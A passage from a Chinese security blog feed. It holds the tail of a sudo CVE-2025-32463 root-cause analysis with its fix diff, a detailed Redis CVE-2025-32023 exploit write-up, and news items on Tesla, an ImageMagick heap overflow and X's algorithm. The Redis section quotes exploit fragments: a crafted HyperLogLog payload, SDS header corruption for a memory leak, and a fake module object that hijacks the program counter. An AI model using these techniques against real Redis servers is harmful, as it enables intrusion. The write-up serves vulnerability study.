nip=nip@entry=0x7ffff7e11690 <nip>, startp=startp@entry=0x7ffff7e11680 <startp>, last_nip=last_nip@entry=0x7ffff7e11688 <last_nip>,
stayopen=stayopen@entry=0, stayopen_tmp=0x0, res=0) at ./nss/getnssent_r.c:76
#21 0x00007ffff7d6490b in setspent () at ../nss/getXXent_r.c:124
#22 0x00007ffff7e98b33 in sudo_setspent () at ./getspwuid.c:122
#23 0x00007ffff7e98c27 in sudo_passwd_init (ctx=<optimized out>, pw=0x5555555a8a78, auth=0x7ffff7f29020 <auth_switch>) at ./auth/passwd.c:57
#24 0x00007ffff7e97a84 in sudo_auth_init (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, pw=0x5555555a8a78, mode=mode@entry=33554433)
at ./auth/sudo_auth.c:117
#25 0x00007ffff7e9a9a3 in check_user (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, validated=validated@entry=96, mode=33554433) at ./check.c:136
#26 0x00007ffff7ebf201 in sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:468
#27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#28 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#29 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#30 main (argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffe2e0) at ./sudo.c:261
(gdb)

从这个调用链，我们就很清楚的知道了是在 setspent 之后进行的 dlopen 加载恶意的 so

policy_check -> sudoers_policy_check -> sudoers_check_cmnd
-> sudoers_check_common
-> set_cmnd_path
-> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent
-> setup -> module_load

那么 setspent 做了什么呢？ setspent 函数会用来打开 shadows 文件的方法一个使用的例子


setpwent();
while(gets(buf) != NULL)
{
if((sp = getspnam(buf)) != (struct spwd *) 0 )
{
printf("Vaild login name is:%s\n",sp->sp_namp);
}
else
{
setspent();
while((sp = getspent()) != (struct spwd *)0)
{
printf("%s\n", sp->sp_namp);
}
}

setspent 实现代码^[3]

void
SETFUNC_NAME (STAYOPEN)
{
int save;
__libc_lock_lock (lock);
__nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &nip, &startp,
&last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES);
save = errno;
__libc_lock_unlock (lock);
__set_errno (save);
}

当调用到module_load的时候就会加载 so

/* Internal implementation of __nss_module_load.  */
static bool
module_load (struct nss_module *module)
{
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
void *handle;
{
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
/* This is definitely a temporary failure.  Do not update
module->state.  This will trigger another attempt at the next
call.  */
return false;
handle = __libc_dlopen (shlib_name);
free (shlib_name);
}
/* Failing to load the module can be caused by several different
scenarios.  One such scenario is that the module has been removed
from the disk.  In which case the in-memory version is all that
we have, and if the module->state indidates it is loaded then we
can use it.  */
if (handle == NULL)
{
/* dlopen failure.  We do not know if this a temporary or
permanent error.  See bug 22041.  Update the state using the
double-checked locking idiom.  */
__libc_lock_lock (nss_module_list_lock);
bool result = result;
switch ((enum nss_module_state) atomic_load_acquire (&module->state))
{
case nss_module_uninitialized:
atomic_store_release (&module->state, nss_module_failed);
result = false;
break;
case nss_module_loaded:
result = true;
break;
case nss_module_failed:
result = false;
break;
}
__libc_lock_unlock (nss_module_list_lock);
return result;
}
nss_module_functions_untyped pointers;
/* Look up and store locally all the function pointers we may need
later.  Doing this now means the data will not change in the
future.  */
for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
{
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
{
/* Definitely a temporary error.  */
__libc_dlclose (handle);
return false;
}
pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
PTR_MANGLE (pointers[idx]);
}

复现

Patched

修复 commit ^[5]：

--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
const char *cmnd_in;
char *cmnd_out = NULL;
char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
if (def_secure_path && !user_is_exempt(ctx))
path = def_secure_path;

-    /* Pivot root. */
-    if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &pivot_state))
-           goto error;
-    }
-
-    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
if (ret == FOUND) {
char *slash = strrchr(cmnd_out, '/');
if (slash != NULL) {
@@ -1122,14 +1115,8 @@
else
ctx->user.cmnd = cmnd_out;

-    /* Restore root. */
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
-
debug_return_int(ret);
error:
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
free(cmnd_out);
debug_return_int(NOT_FOUND_ERROR);
}

删除了 pivot_root ，以及看后续似乎要 deprecated chroot ^[6] ：

思考

这个漏洞有一个很巧合的地方，如果当pivot_root之后，调用到的第一个nss_database_check_reload_and_get 的第三个参数 database_index 不是 nss_database_initgroups , 且默认 nss_database_initgroups 初始化就是空，那么就会走到 reload_disabled 的地方并且返回，那么之后就根本不会再读取 nsswich.conf。

我们去跟了下 libc 对 nss_database 初始化的变更 ^[4], 上一次的更改在五年前，但是这个漏洞是在 23 年引入的。目前看起来没什么特别的大关联，应该就是特别特别的巧合。。。

Reference link

1.https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot↩
2.https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get↩
3.https://codebrowser.dev/glibc/glibc/nss/getXXent_r.c.html#122↩
4.https://github.com/bminor/glibc/commit/fa78feca47fdc226b46e7f6fea4c08c10fccd182↩
5.https://github.com/sudo-project/sudo/commit/fdafc2ceb36382b07e604c0f39903d56bef54016#diff-6a3fc5e12751032d02db8970967b688eab54525c326699010870b3ffca2b6541↩
6.https://github.com/sudo-project/sudo/commit/bc88e5cbd3b41196cac727855e2446a02dfba51e↩

CVE-2025-32023 Redis 漏洞分析

作者: 纯情
时间: 2026-01-25
分类:
评论

CVE-2025-32023 Redis 漏洞分析

Swing

2025-07-08

漏洞分析

redis

TL; DR

漏洞分析版本： commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)

该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。

CVE-2025-32023

Redis 在调用 pfmerge 命令的时候会调用 hyperloglog.c 里的 void pfmergeCommand(client *c) 函数

pfmerge ^[1] 的作用是将多个 HLL 的数据合并到一个目标 key 中，是用来合并多个 HypeLogLog （HLL）数据。对格式错误的 HLL 进行操作时，可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量，从而导致栈/堆上的越界写。 (eg: hllMerge() 函数中会发生栈越界， hllSparseToDense() 发生堆越界写）

漏洞原理

/* PFMERGE dest src1 src2 src3 ... srcN => OK */
void pfmergeCommand(client *c){
uint8_t max[HLL_REGISTERS];
struct hllhdr *hdr;
int j;
int use_dense = 0; /* Use dense representation as target? */

/* Compute an HLL with M[i] = MAX(M[i]_j).
* We store the maximum into the max array of registers. We'll write
* it to the target variable later. */
memset(max,0,sizeof(max));
for (j = 1; j < c->argc; j++) {
...
/* Merge with this HLL with our 'max' HLL by setting max[i]
* to MAX(max[i],hll[i]). */
if (hllMerge(max,o) == C_ERR) { // hllMerge [1] stack oob write
...
}
}


/* Convert the destination object to dense representation if at least
* one of the inputs was dense. */
if (use_dense && hllSparseToDense(o) == C_ERR) { // hllSparseToDense [2] heap oob write
...
}

...
}

在 hllSparseToDense 函数中会造成堆相关的越界写，作者的漏洞利用也是用的这个漏洞原语。

int hllSparseToDense(robj *o){
sds sparse = o->ptr, dense;
struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse;
int idx = 0, runlen, regval;
uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);

/* If the representation is already the right one return ASAP. */
hdr = (struct hllhdr*) sparse;
if (hdr->encoding == HLL_DENSE) return C_OK;

/* Create a string of the right size filled with zero bytes.
* Note that the cached cardinality is set to 0 as a side effect
* that is exactly the cardinality of an empty HLL. */
dense = sdsnewlen(NULL,HLL_DENSE_SIZE);
hdr = (struct hllhdr*) dense;
*hdr = *oldhdr; /* This will copy the magic and cached cardinality. */
hdr->encoding = HLL_DENSE;

/* Now read the sparse representation and set non-zero registers
* accordingly. */
p += HLL_HDR_SIZE;
while(p < end) {
if (HLL_SPARSE_IS_ZERO(p)) {
runlen = HLL_SPARSE_ZERO_LEN(p);
idx += runlen;
p++;
} else if (HLL_SPARSE_IS_XZERO(p)) {
runlen = HLL_SPARSE_XZERO_LEN(p);
idx += runlen;
p += 2;
} else {
runlen = HLL_SPARSE_VAL_LEN(p);
regval = HLL_SPARSE_VAL_VALUE(p);
if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
while(runlen--) {
HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
idx++;
}
p++;
}
}

/* If the sparse representation was valid, we expect to find idx
* set to HLL_REGISTERS. */
if (idx != HLL_REGISTERS) {
sdsfree(dense);
return C_ERR;
}

/* Free the old representation and set the new one. */
sdsfree(o->ptr);
o->ptr = dense;
return C_OK;
}

while 循环之前是对 HLL 数据的的部分 header 解析，之后是一个转换过程。 HLL 数据是一种 SDS ^[2]字符串的表示。我们可以用 set 命令来伪造一个 HLL 数据。

while 循环过程中，是将 HLL 的数据从 sparse 转换成 dense。在转换过程中：

while(p < end) {
if (HLL_SPARSE_IS_ZERO(p)) {
runlen = HLL_SPARSE_ZERO_LEN(p);
idx += runlen;
p++;
} else if (HLL_SPARSE_IS_XZERO(p)) {
runlen = HLL_SPARSE_XZERO_LEN(p);
idx += runlen;
p += 2;
} else {
runlen = HLL_SPARSE_VAL_LEN(p);
regval = HLL_SPARSE_VAL_VALUE(p);
if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
while(runlen--) {
HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
idx++;
}
p++;
}
}

如果当前的数据既不是 HLL_SPARSE_IS_ZERO 也不是 HLL_SPARSE_IS_XZERO 会进入到 HLL_DENSE_SET_REGISTER 函数，在进到 HLL_DENSE_SET_REGISTER 函数之前有一个判断这个 idx 是否越界。

1	if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */

runlen 和 idx 都是一个 int 类型的变量，，而 idx 的值可以在 HLL_SPARSE_IS_ZERO 或者 HLL_SPARSE_IS_ZERO 条件下语句中累加而成。

我们可以通过构造 HLL 数据，让 idx 不断累加成一个负数。

然后在 HLL_DENSE_SET_REGISTER 函数中就会发生越界

#define HLL_DENSE_SET_REGISTER(p,regnum,val) do { \
uint8_t *_p = (uint8_t*) p; \
unsigned long _byte = (regnum)*HLL_BITS/8; \
unsigned long _fb = (regnum)*HLL_BITS&7; \
unsigned long _fb8 = 8 - _fb; \
unsigned long _v = (val); \
_p[_byte] &= ~(HLL_REGISTER_MAX << _fb); \
_p[_byte] |= _v << _fb; \
_p[_byte+1] &= ~(HLL_REGISTER_MAX >> _fb8); \
_p[_byte+1] |= _v >> _fb8; \
} while(0)

PoC 构造

构造越界 payload

HLL 结构大致如下：


// 1. HLL 总体结构
struct hllhdr {
char magic[4];      /* "HYLL" */
uint8_t encoding;   /* HLL_DENSE or HLL_SPARSE. */
uint8_t notused[3]; /* Reserved for future use, must be zero. */
uint8_t card[8];    /* Cached cardinality, little endian. */
uint8_t registers[]; /* Data bytes. */
};

#define HLL_P 14 /* The greater is P, the smaller the error. */
#define HLL_REGISTERS (1<<HLL_P) /* With P=14, 16384 registers. */
#define HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))

+---------+----------+-----------+--------+-----------
| "HYLL"  | encoding |  noused   | card   | registers
+---------+----------+--------------------+-----------
4字节      1字节        3字节       8字节    12288字节

稀疏（Sparse）编码

1
2
3

+---------+----------+---------+---------+-------------------+
| "HYLL"  |  0x01    | 保留3字节 | 保留8字节 | 指令流（2字节/条） |
+---------+----------+---------+---------+-------------------+

从作者的exploit^[3]可以看到，作者通过构造如下的 HLL sparse 让在代码在转换的时候能计算出来一个负数的idx

pl = b'HYLL'·
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd   # -0xc000
pl += xzero(0xc000 - 0x956c)    # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00)          # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b)             # -0x8000
pl += xzero(0x4000) * 3         # 0x4000
time.sleep(1)
r.set('hll:expp', pl)

可以看到有一段 xzero(0x4000) * 0x3fffd 的数据，可以通过这样数据，就构造 0x3fffd 轮次的 0x4000 idx 累加，在加上后面的 pl += xzero(0xc000 - 0x956c) 数据，最后就能构造一个负数的 idx

寻找越界写目标

在单次下，我们可以从 registers 往前越界写任意（可构造）偏移一个字节。作者的思路是在 HLL 结构前面构造 sds 结构，然后修改 sds 结构的 len 来进行类型混淆。

sds 有几种不同的类型，其取长度的方式也不一样·

static inline size_t sdslen(const sds s){
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}

例如正常情况下，我们使用 setrange 长度为0x37fa-8长度，此时长度小于 65535 , 根据函数sdsReqType 创建出来的 sds 数据，其 flags 位置应该是 2 （SDS_TYPE_16）


//func sdsnewlen()-> _sdsnewlen() ->

static inline char sdsReqType(size_t string_size){
if (string_size < 1<<5)
return SDS_TYPE_5;
if (string_size < 1<<8)
return SDS_TYPE_8;
if (string_size < 1<<16)
return SDS_TYPE_16;
#if (LONG_MAX == LLONG_MAX)
if (string_size < 1ll<<32)
return SDS_TYPE_32;
return SDS_TYPE_64;
#else
return SDS_TYPE_32;
#endif
}

然后在 _sdsnewlen 函数中完成对 sds 结构的初始化

sds _sdsnewlen(const void *init, size_t initlen, int trymalloc) {
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
size_t usable;
...
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
...
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;

在内存中可以看到

pwndbg> p/x 0x8c & 0x3
$106 = 0x0
pwndbg> p idx
$107 = -38252
pwndbg> p idx*6/8
$108 = -28689
pwndbg> p hdr->registers
$109 = 0x7ffff797d015 ""
pwndbg>
pwndbg> x/20bx 0x7ffff7976000
0x7ffff7976000: 0xfa    0x37    0xfa    0x37    0x02    0x00    0x00    0x00
0x7ffff7976008: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffff7976010: 0x00    0x00    0x00    0x00

pwndbg> x/20bx  0x7ffff7976000+0x37fa-8
0x7ffff79797f2: 0x00    0x00    0x00    0x00    0x00    0x42    0x42    0x42
0x7ffff79797fa: 0x42    0x42    0x42    0x42    0x42    0x00    0xfa    0x37
0x7ffff7979802: 0xfa    0x37    0x02    0x00
pwndbg>
pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$104 = {
len = 0x37fa,
alloc = 0x37fa,
flags = 0x2,
buf = 0x7ffff7976005
}
pwndbg>

由于 sdslen 函数取 sds 长度，是先根据不同的 flags，然后再根据这个 flags 取计算这个 sds 的header 长度，然后以当前地址减去 header长度取 len 这个变量

static inline size_t sdslen(const sds s){
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}

struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};

struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};

而 sdshdr64 和sdshdr16 的结构体大小不一样，因此如果将 sds16的 flags 改成 SDS_TYPE_64 , 将为从上一个内存中取一个值作为 sds的长度（造成一个类似类型混淆的效果）

fakelen = 0x4142434445464748

r.setrange('sds:aa', 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:bb', 0x37fa - 8, b'B'*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~

例如下面的这样的一个效果

pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$115 = {
len = 0x37fa,
alloc = 0x37fa,
flags = 0x2,
buf = 0x7ffff7976005
}
pwndbg> p/x *(struct sdshdr64 *)(0x7ffff7976000-11)
$116 = {
len = 0x41424344454647,
alloc = 0x237fa37fa000000,
flags = 0x0,
buf = 0x7ffff7976006
}
pwndbg>

当从 sdshder16 被当成 sdshdr64 后， sds:b 的长度就变成了上一个内存的一个可控制，作者是将这个值设置成0x41424344454647。这样当我们就可以将这个sds:b 当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr，然后取读取 sds:b 的内容。由于此时 sds:b 长度很长，因此读取这个字符串的时候能读书很多的数据，可以读到内存后面很多的东西，这样就可以做 info leak。

然后通过写 sds:b 字符串到操作，在内存中伪造了一个 type 为 Modules 的 Object

# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru
pl += p32(1)                          # refcount
pl += p64(badr + 0x10)                # ptr
r.setrange('sds:bb', tofs+3, pl)

typedef struct RedisModuleType {
uint64_t id; /* Higher 54 bits of type ID + 10 lower bits of encoding ver. */
struct RedisModule *module;
moduleTypeLoadFunc rdb_load;
moduleTypeSaveFunc rdb_save;
moduleTypeRewriteFunc aof_rewrite;
moduleTypeMemUsageFunc mem_usage;
moduleTypeDigestFunc digest;
moduleTypeFreeFunc free;
moduleTypeFreeEffortFunc free_effort;
moduleTypeUnlinkFunc unlink;
moduleTypeCopyFunc copy;
moduleTypeDefragFunc defrag;
moduleTypeAuxLoadFunc aux_load;
moduleTypeAuxSaveFunc aux_save;
moduleTypeMemUsageFunc2 mem_usage2;
moduleTypeFreeEffortFunc2 free_effort2;
moduleTypeUnlinkFunc2 unlink2;
moduleTypeCopyFunc2 copy2;
moduleTypeAuxSaveFunc aux_save2;
int aux_save_triggers;
char name[10]; /* 9 bytes name + null term. Charset: A-Z a-z 0-9 _- */
} moduleType;


void freeModuleObject(robj *o){
moduleValue *mv = o->ptr;
mv->type->free(mv->value);
zfree(mv);
}

通过需改 type->free 来控制 PC

完整的利用流程

可以看 deepwiki 生成的这个流程图^[4]

Reference link

1.https://redis.io/docs/latest/commands/pfmerge/↩
2.https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-sds/↩
3.https://github.com/leesh3288/CVE-2025-32023↩
4.https://deepwiki.com/leesh3288/CVE-2025-32023/2.2-six-stage-exploitation-methodology↩

埃隆・马斯克：特斯拉重启的Dojo3将用于 “天基AI计算”

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

埃隆・马斯克在刚刚过去的长周末表示，特斯拉计划重启 Dojo3 项目 —— 这家电动汽车公司此前已放弃的第三代 AI 芯片。但这一次，Dojo3 的目标不再是在地球上训练自动驾驶模型。马斯克称，它将专门用于 “天基 AI 计算”。

这一转变发生在特斯拉实际上关闭 Dojo 项目五个月之后。在 Dojo 负责人彼得・班农（Peter Bannon）离职后，公司解散了负责 Dojo 超级计算机的团队。大约 20 名 Dojo 员工随后加入了 DensityAI—— 一家由前 Dojo 主管 Ganesh Venkataramanan 以及前特斯拉员工 Bill Chang 和 Ben Floering 共同创立的新 AI 基础设施初创公司。

在 Dojo 项目关闭时，彭博社曾报道，特斯拉计划更多依赖英伟达以及 AMD 等合作伙伴提供算力，并依靠三星进行芯片制造，而不是继续开发自己的定制芯片。马斯克的最新言论表明，这一战略再次发生了转变。

这位亿万富翁高管、共和党大金主在 X 上发文称，重启 Dojo 的决定是基于其内部芯片路线图的进展，并指出特斯拉的 AI5 芯片设计 “进展顺利”。

特斯拉的 AI5 芯片由台积电制造，旨在为该汽车制造商的自动驾驶功能和 Optimus 人形机器人提供算力。去年夏天，特斯拉与三星签署了一份价值 165 亿美元的协议，用于生产 AI6 芯片。该芯片有望为特斯拉车辆和 Optimus 提供动力，并支持数据中心中的高性能 AI 训练。

“AI7 / Dojo3 将用于天基 AI 计算，” 马斯克在周日表示，将这个被复活的项目定位为更具 “登月性质” 的探索。

为实现这一目标，特斯拉目前正准备重建几个月前解散的团队。马斯克在同一条帖子中直接招募工程师，写道：“如果你有兴趣参与开发未来世界上产量最高的芯片，请发送邮件至 AI_Chips@Tesla.com，并附上你解决过的三个最棘手的技术问题（用要点列出）。”

这一宣布的时机值得注意。在 2026 年 CES 上，英伟达推出了用于自动驾驶的开源 AI 模型 Alpamayo，直接挑战特斯拉的 FSD 软件。马斯克在 X 上评论称，解决驾驶中那些罕见的 “长尾边缘案例” 是 “超级困难的”，并补充道：“我真心希望他们成功。”

马斯克和其他几位 AI 行业高管认为，数据中心的未来可能在地球之外，因为地球电网已经接近极限。Axios 最近报道，马斯克的竞争对手、OpenAI 首席执行官山姆・奥特曼（Sam Altman）也对将数据中心送入轨道的前景感到兴奋。马斯克相比同行拥有一项优势 —— 他已经掌控了运载火箭。

据 Axios 报道，马斯克计划利用 SpaceX 即将到来的 IPO 来资助他的愿景：使用星舰（Starship）发射一组计算卫星星座，使其能够在持续的阳光下运行，全天候收集太阳能。

尽管如此，要让太空 AI 数据中心成为现实仍面临诸多障碍，尤其是在真空中为高功率计算设备散热的挑战。马斯克关于特斯拉打造 “天基 AI 计算” 的言论符合他一贯的模式：先提出一个听起来有些牵强的想法，然后试图用 “蛮力” 将其变为现实。

ImageMagick警报（CVE-2026-23876）：“XBM”图片上传触发大规模堆溢出

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

ImageMagick 中发现了一个新的高危漏洞。ImageMagick 是一个无处不在的图像处理库，从社交媒体平台到内容管理系统都在使用。该漏洞编号为 CVE-2026-23876，攻击者只需上传一个特制的 XBM 图像文件，即可触发大规模堆缓冲区溢出。

该漏洞的 CVSS 评分为 8.1，对任何处理不可信图像的网络服务都构成重大风险，可能导致内存破坏或程序崩溃。

漏洞位于 XBM 图像解码器（coders/xbm.c）中，该组件负责处理 X Window System Bitmap 格式。根本原因是典型的整数截断问题 —— 程序认为需要的内存量与实际使用的内存量不一致。

根据漏洞报告，问题发生在软件计算新图像的缓冲区大小时。它将图像的行数（一个 64 位值）强制转换为 32 位无符号整数。

“在第 349-350 行，image->rows（size_t 类型）被截断为 unsigned int 以进行分配…… 然而，第 369-377 行的写入循环使用的是原始未截断的 image->rows 值。”

这造成了危险的不一致。如果攻击者提供一个非常大的图像行数（例如 0x500000001），系统会截断该数值，只分配一个极小的缓冲区（大约 1 字节）。然而，后续的循环却不知道这一点，它会根据原始的巨大数值继续写入数据。

“循环迭代次数：bytes_per_line * 21474836481 → 大规模溢出。”

让这个溢出特别危险的是，攻击者对溢出过程具有高度控制权。报告指出，“溢出大小” 可通过图像尺寸（行数和列数）控制，而 “写入的数据” 可通过 XBM 文件中的十六进制值控制。

这使得攻击者可以在分配的缓冲区之外写入可控字节（0x00-0xFF），从而覆盖堆上的关键内存结构。

由于 ImageMagick 是网络的基础组件，该漏洞的影响范围非常广泛。报告强调了几个主要目标：

网络服务：任何带有图像上传功能的网站，例如缩略图生成器或格式转换器。
内容管理系统：像 WordPress 和 Drupal 这样的流行平台通常依赖 ImageMagick 后端来处理媒体库。
CI/CD 流水线：自动处理用户提交的图像或资源的系统。

攻击向量非常简单：“任何使用 ImageMagick 处理不可信图像的应用程序” 都可能通过一次简单的网络上传被攻破。

该漏洞影响 7.1.2-13 之前的 7 系列版本 和 6.9.13-38 之前的 6 系列版本。

维护者已经发布了修复整数截断逻辑的补丁。使用 ImageMagick 的管理员和开发者被强烈建议立即升级到 7.1.2-13 或 6.9.13-38 版本，以降低远程攻击风险。

X开源Grok驱动的算法代码，揭秘内容传播机制

作者: 纯情
时间: 2026-01-25
分类: 开源
评论

X 正式开源其基于 Grok 的推荐算法，公开了回复加权机制、链接惩罚规则及相似聚类技术（SimClusters） 。开发者通过剖析代码，解锁了内容互动预测的核心逻辑 —— 这一举措在平台透明度承诺下，正重塑创作者的运营策略。

为践行透明度承诺，埃隆・马斯克旗下的 X 平台采取大胆举措：开源经重构的推荐系统，揭开了驱动用户信息流的复杂底层架构。2026 年 1 月 20 日，X 工程团队与马斯克本人通过平台发文宣布该消息，相关代码托管于 github.com/xai-org/x-algorithm，其核心采用支撑 xAI 公司 Grok 模型的 Transformer 架构。此次开源兑现了马斯克 1 月 10 日的承诺，包含详尽的开发者说明文档，并计划每四周更新一次 —— 这一行动背后，是社交媒体信息流面临的监管压力日益加剧。

此次披露正值 X 因算法 “低效” 饱受诟病之际，马斯克在回复中坦言：“我们深知当前算法存在不足，亟需大幅优化，但至少大家能实时看到我们以透明方式努力改进的过程。” 与竞争对手不同，X 主动开放算法供公众审视，马斯克强调：“没有其他社交媒体公司会这么做。”

X 平台上的开发者初步代码评审显示，该算法已从 “刚性规则驱动” 转向 “AI 预测驱动”。据 StockTwits 报道，代码仓库详细披露了内容推荐逻辑，但专家指出，训练模型权重等关键要素并未包含在内。

Transformer核心赋能互动预测

算法的核心是一个轻量版 Grok 变体，借助 Transformer 架构，每日对 1 亿条帖子进行用户反应预测 —— 包括点赞、回复、转发、收藏等行为。X 工程团队在推文中证实：“其采用与 xAI Grok 模型相同的 Transformer 架构。” 据 News9live 分析，这一设计用机器学习取代了传统启发式规则，优先推送更可能引发用户互动的内容。

X 平台用户 @bytebot（科林・查尔斯）剖析代码后表示：“基于 Grok 的 Transformer 排序机制，有效避免了信息茧房问题。” 关注账号的 “圈内内容” 将获得优先推荐，而 “圈外内容” 则依赖机器学习预测，且包含图片、视频等媒体形式的内容会获得权重加成。内容时效性是重要考量因素，当目标受众活跃时，近期发布的内容将更具优势。

创作者可信度通过历史互动数据体现，若高活跃度用户关注的账号发布内容，其排名会相应提升。不过，该代码未包含嵌入表、Phoenix 检索细节及垃圾邮件过滤器等模块，表明此次开源聚焦核心排序逻辑，属于部分披露。

回复链与停留时间成关键信号

回复被证实为权重最高的互动信号。用户 @barkmeta（巴克）总结：“务必回复评论 —— 算法对‘评论 + 作者回复’的权重设定，是单纯点赞的 75 倍。无视评论等同于扼杀内容传播力。” 用户 @GodsBurnt（石博）也呼应：“‘75 倍规则’是代码中最强信号：评论 + 作者回复的组合效应无可替代。”

收藏行为的权重乘数为 50 倍，这意味着具备参考价值的内容将获得更多曝光；而停留时间 —— 通过用户观看视频或点击 “展开更多” 的行为来衡量 —— 同样具有决定性作用。正如查尔斯所指出的：“观看时长为王，若用户快速划走，内容排名将大幅下滑。” 视频和系列推文因能更好地吸引用户注意力，表现尤为突出。

负面信号的惩罚力度显著：屏蔽和静音操作的负面影响是取消关注的 10 倍。具有争议性但非垃圾信息的内容可能获得较高传播度，而引发用户反感的内容则会被降低曝光。

链接惩罚与垂直领域锁定重塑发布策略

外部链接会触发 “链接税” 机制，据石博透露，内容曝光量可能骤降高达 400%：“链接会扼杀可见度，应将其放在个人简介或置顶推文里。” 创作者建议通过简介放置链接或自动回复引导等方式，让用户留在平台内 —— 这与算法 “抵制用户流失” 的设计倾向高度一致。

